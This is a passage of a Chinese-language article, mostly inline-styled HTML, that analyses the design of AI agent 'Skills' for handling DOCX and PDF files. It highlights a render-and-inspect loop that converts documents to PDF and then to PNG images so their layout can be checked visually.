0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">docs</span></code><span leaf=""> Skill 的目标是建立一个从创建、编辑到最终审查的完整 DOCX 文件处理流程。它的核心理念是：</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">永远不要相信代码的单次输出，必须建立“渲染-检查”的闭环</span></strong><span leaf="">。</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">核心设计：四段式工作流</span></strong></p></li><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">要点解析：</span></strong><span leaf=""> 将整个任务流清晰地划分为 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">读取 (Reading) → 创建 (Creating) → 质量标准 (Quality) → 最终检查 (Final checks)</span></strong><span leaf=""> 四个阶段，每个阶段都有明确的指令和工具链。</span></p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">核心设计：可视化检查闭环</span></strong></p></li><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">要点解析：</span></strong><span leaf=""> 强制要求将 DOCX 文件先转换为 PDF，再逐页渲染成 PNG 图片进行</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">视觉检查</span></strong><span leaf="">。这套 </span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">DOCX → PDF → PNG</span></code><span leaf=""> 的流程确保了“所见即所得”，避免了纯文本提取可能忽略的格式与布局问题。</span></p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">核心设计：质量标准前置</span></strong></p></li><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">要点解析：</span></strong><span leaf=""> 将格式要求、引用规范、禁忌项等</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">“质量期望”独立成章</span></strong><span leaf="">，而不是零散地分布在操作步骤中。这让 AI 在执行任务前就明确了交付标准。</span></p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">核心设计：脚本固化</span></strong></p></li><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">要点解析：</span></strong><span leaf=""> 提供 </span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">render_docx.py</span></code><span leaf=""> 脚本，将文档渲染和检查的常用操作固化下来，提高了任务的稳定性和效率。</span></p></li></ul></ul><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">设计洞察</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(150, 84, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">docs</span></code><span leaf=""> Skill 最值得称道的，是它建立了一套</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">基于视觉反馈的、可回溯的质量保证体系</span></strong><span leaf="">。它不信任任何“一次性生成”的黑盒过程，而是强调在每个关键步骤后都要进行渲染和人工（或 AI）检查。这种看似“笨拙”的方法，恰恰是保证复杂文档格式不出错的最可靠路径。 它传达了一个重要的思想：</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">对于那些输出结果的“正确性”包含大量视觉元素（如排版、图表、字体）的任务，纯粹的逻辑代码检查是远远不够的。</span></strong></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: 100%;-webkit-box-reflect: unset;"><span style="font-size: 22px;border-bottom-color: rgb(119, 48, 152);color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: 85%;height: auto;align-items: unset;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 10px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span leaf="">2. </span><code><span leaf="">pdfs</span></code><span leaf=""> Skill</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">与 Word 文档不同，PDF 文件通常被认为是“不可变”的。</span><code style="color: rgb(150, 84, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">pdfs</span></code><span leaf=""> Skill 的设计哲学是在这个看似固化的世界里，建立一套可靠的读取、创建和质量控制流程。</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">核心设计：读取工具链</span></strong></p></li><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">要点解析：</span></strong><span leaf=""> 同样强调 </span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">pdftoppm</span></code><span leaf=""> 渲染成 PNG 的</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">可视化读取方式</span></strong><span leaf="">为主，同时辅以 </span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 